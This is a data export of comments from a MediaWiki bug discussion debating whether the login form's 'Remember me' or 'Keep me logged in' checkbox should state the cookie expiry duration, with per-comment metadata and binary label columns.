+229418,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #29)
+> (In reply to comment #28)
+> > 
+> > Nope, I know it's not hard coded. What I was talking about is the
+> > justification
+> > for including it.
+> > 
+> > As Matt correctly points out in comment 17, this is partially about managing
+> > expectations. If you look at it from that point of view, you could say that
+> > people expect ""remember me"" to work for an indefinite period, since that's
+> > how
+> > it works most other places if you choose that option. If it's likely that we
+> > change our config to be the same based on a privacy policy revision, then
+> > there's no need to say something extra, because it fits with the usual mental
+> > model of what such a checkbox does.
+> 
+> You realize that all this privacy policy change argument carries no value
+> for a
+> bug in MediaWiki product which shall consider only the MediaWiki default,
+> don't
+> you?
+
+No, this bug is primarily about what's on Wikimedia projects. That's what Thehelpfulone was asking about in the original comment, why Luis commented about privacy as well, and why MZ's solution was to locally change the enwiki message. I could care less if someone wants to change the MediaWiki default as long as they leave Wikimedia projects untouched.",,,1376601293,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+229414,"""Remember me"" on Login interface should state duration","(In reply to comment #28)
+> 
+> Nope, I know it's not hard coded. What I was talking about is the
+> justification
+> for including it.
+> 
+> As Matt correctly points out in comment 17, this is partially about managing
+> expectations. If you look at it from that point of view, you could say that
+> people expect ""remember me"" to work for an indefinite period, since that's
+> how
+> it works most other places if you choose that option. If it's likely that we
+> change our config to be the same based on a privacy policy revision, then
+> there's no need to say something extra, because it fits with the usual mental
+> model of what such a checkbox does.
+
+You realize that all this privacy policy change argument carries no value for a bug in MediaWiki product which shall consider only the MediaWiki default, don't you?",,,1376600785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,1,1,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+229410,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #25)
+> (In reply to comment #24)
+> > (In reply to comment #23)
+> > > (In reply to comment #22)
+> > > 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
+> > > check the box. ...
+> > 
+> > I don't understand this point. The cookie expiry is set now, not in the
+> > future.
+> > Are you saying it can be changed retroactively?
+> 
+> I suspect the person is unaware that value would be the wiki's configuration
+> value, and made the assumption it would be hard-coded into the skin.
+
+Nope, I know it's not hard coded. What I was talking about is the justification for including it.
+
+As Matt correctly points out in comment 17, this is partially about managing expectations. If you look at it from that point of view, you could say that people expect ""remember me"" to work for an indefinite period, since that's how it works most other places if you choose that option. If it's likely that we change our config to be the same based on a privacy policy revision, then there's no need to say something extra, because it fits with the usual mental model of what such a checkbox does.",,,1376599493,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+229406,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:
+
+(In reply to comment #26)
+> Right, we don't need to hard-code it; we would use the configuration.  The
+> issue is just whether it helps the user to show it.  I.E. is it good UX?
+
+heh. Not a UX expert. But my n of one is slightly more confident when I know the cookie isn't indefinite.",,,1376594461,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+229403,"""Remember me"" on Login interface should state duration","Right, we don't need to hard-code it; we would use the configuration.  The issue is just whether it helps the user to show it.  I.E. is it good UX?",,,1376590633,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+229397,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:
+
+(In reply to comment #24)
+> (In reply to comment #23)
+> > (In reply to comment #22)
+> > 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
+> > check the box. ...
+> 
+> I don't understand this point. The cookie expiry is set now, not in the
+> future.
+> Are you saying it can be changed retroactively?
+
+I suspect the person is unaware that value would be the wiki's configuration value, and made the assumption it would be hard-coded into the skin.",,,1376589081,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1
+229391,"""Remember me"" on Login interface should state duration","(In reply to comment #23)
+> (In reply to comment #22)
+> > This request for a handful more characters on login seems quite
+> > straightforward; 4 months later, can we proceed or are fingers still heated?
+> 
+> It's still a bad idea. 
+> 
+> 1). The ""30 days"" is likely change to be much longer, or indefinite, if you
+> check the box. It's one of the pieces of privacy policy feedback that keeps
+> coming in, and with a revision to the policy going to be published for
+> community input soon, there's not much point in specifying something that may
+> not need to be specified soon.
+
+I don't understand this point. The cookie expiry is set now, not in the future. Are you saying it can be changed retroactively?
+
+> 
+> 2). Knowing how long doesn't actually help you make a decision. Either you do
+> or do not want to be remembered. If you do, the amount of time doesn't
+> matter.
+
+It does when you find yourself logged out. It also helps understanding the impact of your choice; for instance, I personally allow most sites to keep cookies for one browser session only, and I am happier if their cookie expires earlier.
+
+> If you don't (such as for being on a shared system), it doesn't matter if
+> it's
+> 30 days or 2. 
+> 
+> This is another case where details don't help you make a choice, but we're
+> being pushed to carry over legacy content despite the fact that most people
+> agreed that the legacy message (""remember me for 180 days"") was bizarre and
+> unnecessary.
+
+This is just an assumption so I won't reply.",,,1376584486,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-2,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1
+229384,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #22)
+> This request for a handful more characters on login seems quite
+> straightforward; 4 months later, can we proceed or are fingers still heated?
+
+It's still a bad idea. 
+
+1). The ""30 days"" is likely change to be much longer, or indefinite, if you check the box. It's one of the pieces of privacy policy feedback that keeps coming in, and with a revision to the policy going to be published for community input soon, there's not much point in specifying something that may not need to be specified soon. 
+
+2). Knowing how long doesn't actually help you make a decision. Either you do or do not want to be remembered. If you do, the amount of time doesn't matter. If you don't (such as for being on a shared system), it doesn't matter if it's 30 days or 2. 
+
+This is another case where details don't help you make a choice, but we're being pushed to carry over legacy content despite the fact that most people agreed that the legacy message (""remember me for 180 days"") was bizarre and unnecessary.",,,1376529042,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,False,,,-2,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1
+229378,"""Remember me"" on Login interface should state duration","This request for a handful more characters on login seems quite straightforward; 4 months later, can we proceed or are fingers still heated?",,,1376217740,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,0
+229372,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:
+
+(In reply to comment #20)
+
+> Thehelpfulone: is your goal to have the _default_ message value include the
+> ""$1"" variable that's substituted with the value of $wgCookieExpiration or is
+> your goal simply to have this functionality available on a per-wiki basis?
+
+Yes, I think it'd be a good idea to include this as default on all wikis,  to match existing behaviour and for consistency (it doesn't add too much extra to the   new interface in my opinion). Perhaps we could just upstream your change to MediaWiki:Userlogin-remembermypassword?",,,1367098671,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+229367,"""Remember me"" on Login interface should state duration","(In reply to comment #19)
+> What's worse is that if we move forward without proper support for this
+> functionality (using a ""$1"" variable), local wikis _will_ in fact hardcode
+> the cookie expiration in their MediaWiki messages (as they did previously).
+
+Never mind! It seems that your concern about additional code complexity was so farfetched that someone already implemented ""$1"" variable support in this new MediaWiki message. You can see it in action here: <https://test.wikipedia.org/wiki/Special:UserLogin?useNew=1>. It uses this message: <https://test.wikipedia.org/wiki/MediaWiki:Userlogin-remembermypassword>.
+
+Thehelpfulone: is your goal to have the _default_ message value include the ""$1"" variable that's substituted with the value of $wgCookieExpiration or is your goal simply to have this functionality available on a per-wiki basis?",,,1367098128,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+229361,"""Remember me"" on Login interface should state duration","(In reply to comment #12)
+> Especially since the time element may change in the future or be configured
+> differently by third party users, this is the simplest thing that works for
+> all without adding complexity. 
+
+I personally think your use of weasel wording here is pretty nasty and uncalled for. You know that this problem was already solved in the previous login form (the one that you and your team are attempting to replace) by using a ""$1"" variable in the MediaWiki message that was substituted with the value of $wgCookieExpiration. And if somehow you managed to redesign this form without knowing that, I said as much in comment 7 of this bug.
+
+You can make your point about interface simplicity without being intentionally misleading or constructing false implementation obstacles.
+
+What's worse is that if we move forward without proper support for this functionality (using a ""$1"" variable), local wikis _will_ in fact hardcode the cookie expiration in their MediaWiki messages (as they did previously).",,,1367097590,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+229357,"""Remember me"" on Login interface should state duration",Related URL: https://gerrit.wikimedia.org/r/61168 (Gerrit Change I7cfa4bb36368277a934144c1724ec437c426eacf),,,1367038889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229354,"""Remember me"" on Login interface should state duration","**mwalker** wrote:
+
+(In reply to comment #15)
+> ""Keep me logged in"" satisfies this need.
+
+Keep me logged in implies perpetuity. Which is what triggers the confusion when someone is logged out.
+
+Look at a service like Gmail -- initially it says ""keep me logged in"" because it will. But if you have two factor auth; it then gives you a new form that specifically says ""Remember this computer for 30 days.""
+
+The expectations are completely different and we should be managing that.",,,1367011759,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+229349,"""Remember me"" on Login interface should state duration","(In reply to comment #15)
+> ""Keep me logged in"" satisfies this need.
+
+It only keeps one logged in for $wgCookieExpiration. It should specify that it lasts for $wgCookieExpiration - for instance by saying ""Keep me logged in for 30 days"" instead.",,,1367011135,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+229344,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #14)
+> (In reply to comment #12)
+> > Our primary standard is for inclusion is, ""Is this actually necessary to log
+> > in?"". Obviously the answer for this entire element is ""No"". Thus we'd be
+> 
+> I would argue the opposite -- a user who was logged in, but is now logged out
+> will be asking ""Why am I logged out?"" which leads to the ""Why am I being
+> required to log in?"" - a question the system should be prepared to answer.
+
+""Keep me logged in"" satisfies this need.",,,1367010817,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,1,0,0,1
+229337,"""Remember me"" on Login interface should state duration","**mwalker** wrote:
+
+(In reply to comment #12)
+> Our primary standard is for inclusion is, ""Is this actually necessary to log
+> in?"". Obviously the answer for this entire element is ""No"". Thus we'd be
+
+I would argue the opposite -- a user who was logged in, but is now logged out will be asking ""Why am I logged out?"" which leads to the ""Why am I being required to log in?"" - a question the system should be prepared to answer.",,,1367010735,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1
+229332,"""Remember me"" on Login interface should state duration","Would you say that ""Keep me logged in for 30 days"" is hugely disadvantageous? It's short, to the point, and should be immediately clear what it does.",,,1367010559,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0
+229327,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #11)
+> Most other sites may not say how long sessions last, but that does not make
+> the
+> information not useful when it indeed is a finite session - a reason to not
+> say
+> how long it lasts, for instance, would be if it weren't a finite session,
+> such
+> as where the cookie automatically renews on each visit - which may indeed be
+> the case for those other sites mentioned, but it is not case with mediawiki.
+> 
+> So while not specifying the session time saves space, that space would not be
+> otherwise wasted. Users tend to feel more comfortable with a system if they
+> have a good mental model of it, and that means not being surprised - and
+> suddenly finding oneself logged out is a pretty significant surprise. Just
+> telling them from the start that the session only lasts so long helps avoid
+> that surprise, and the note isn't a significant burden on the UI.
+
+More information is not always an advantage, and short, simple messages provide a huge advantage to all users in reducing cognitive load when dealing with an interface of any sort. 
+
+Our primary standard is for inclusion is, ""Is this actually necessary to log in?"". Obviously the answer for this entire element is ""No"". Thus we'd be adding complexity with a nice-to-have time description on a feature that's already a nice-to-have. Especially since the time element may change in the future or be configured differently by third party users, this is the simplest thing that works for all without adding complexity. 
+
+I know the Wikimedian instinct is always to be 100% precise in all descriptions of things. I often have the same pull myself, but that's not always a good thing for interface design.",,,1367009626,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+229321,"""Remember me"" on Login interface should state duration","Most other sites may not say how long sessions last, but that does not make the information not useful when it indeed is a finite session - a reason to not say how long it lasts, for instance, would be if it weren't a finite session, such as where the cookie automatically renews on each visit - which may indeed be the case for those other sites mentioned, but it is not case with mediawiki.
+
+So while not specifying the session time saves space, that space would not be otherwise wasted. Users tend to feel more comfortable with a system if they have a good mental model of it, and that means not being surprised - and suddenly finding oneself logged out is a pretty significant surprise. Just telling them from the start that the session only lasts so long helps avoid that surprise, and the note isn't a significant burden on the UI.",,,1367009222,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+229316,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #6)
+> I don't believe there is a legal or policy requirement for this - the mention
+> in the privacy policy should be sufficient (assuming, of course, that the two
+> numbers match, which I believe they do now).
+
+Okay, since there is no legal requirement to be loquacious about this, I'm going to say that we're not going to. We took this out intentionally because it's overly wordy, and doesn't substantially make it easier to make a decision about whether you want to stay logged in. The length of login persistence may change in the future with revisions to the privacy policy etc., and other versions where it was ""180 days"" were obtuse. 
+
+I think Derk-Jan's suggestion for a wording change is a good one, I'll make sure that happens.",,,1367007358,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+229311,"""Remember me"" on Login interface should state duration","**swalling** wrote:
+
+(In reply to comment #8)
+> Slightly related btw; I like ""Stay signed in"" and ""Keep me logged in"" better
+> than ""Remember me"". It's not just remembering you, it's also remembering your
+> session. There is a difference. I find the FB and Google descriptions more
+> descriptive and they are not too difficult for ppl I think.
+
+I think ""Keep me logged in"" is a viable option. Simple, obvious.",,,1366998043,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1
+229307,"""Remember me"" on Login interface should state duration","Slightly related btw; I like ""Stay signed in"" and ""Keep me logged in"" better than ""Remember me"". It's not just remembering you, it's also remembering your session. There is a difference. I find the FB and Google descriptions more descriptive and they are not too difficult for ppl I think.",,,1366969570,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+229303,"""Remember me"" on Login interface should state duration","For the history here, I originally added the duration on the English Wikipedia. Other wikis followed and eventually the feature was integrated into MediaWiki core (where $1 could be used within the ""Remembermypassword"" MediaWiki message to output the value of $wgCookieExpiration).",,,1366938676,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+229297,"""Remember me"" on Login interface should state duration","I don't believe there is a legal or policy requirement for this - the mention in the privacy policy should be sufficient (assuming, of course, that the two numbers match, which I believe they do now).",,,1366938407,,PHID-USER-kqwh3rvfxxh3wfsft7mu,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+229292,"""Remember me"" on Login interface should state duration","(In reply to comment #4)
+> (In reply to comment #3)
+> > If we show it, it should be based on the actual configuration.  But I'm not
+> > convinced this is necessary.  It's information on the page that might not
+> > need
+> > to be there.
+> 
+> I'm not sure if there are legal reasons we show it, per the privacy policy at
+> <https://wikimediafoundation.org/wiki/Privacy_policy#Cookies>. Perhaps
+> something to confirm with LCA?
+
+CCed Luis Villa.  If they don't respond, my feeling is the ""Privacy policy"" link on every page footer is sufficient.
+
+> > If you don't feel comfortable with long-term cookies, you don't have to check
+> > it.  The exact time period is not strictly necessary to make this call.
+> > 
+> > Are there other sites that show the time period for this?
+> 
+> Hmm, do other top sites set expiring cookies for login?
+
+I don't know the exact behavior, but for example Google (""Stay signed in""), Facebook (""Keep me logged in""), and Twitter (""Remember me"") all have such a checkbox on log in, and none say the time period.",,,1366937106,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+229286,"""Remember me"" on Login interface should state duration","**Thehelpfulonewiki** wrote:
+
+(In reply to comment #3)
+> If we show it, it should be based on the actual configuration.  But I'm not
+> convinced this is necessary.  It's information on the page that might not
+> need
+> to be there.
+
+I'm not sure if there are legal reasons we show it, per the privacy policy at <https://wikimediafoundation.org/wiki/Privacy_policy#Cookies>. Perhaps something to confirm with LCA?
+
+ 
+> If you don't feel comfortable with long-term cookies, you don't have to check
+> it.  The exact time period is not strictly necessary to make this call.
+> 
+> Are there other sites that show the time period for this?
+
+Hmm, do other top sites set expiring cookies for login?",,,1366936403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+229278,"""Remember me"" on Login interface should state duration","If we show it, it should be based on the actual configuration.  But I'm not convinced this is necessary.  It's information on the page that might not need to be there.
+
+If you don't feel comfortable with long-term cookies, you don't have to check it.  The exact time period is not strictly necessary to make this call.
+
+Are there other sites that show the time period for this?",,,1366935502,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+229271,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:
+
+Should be value of $wgCookieExpiration",,,1366935349,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
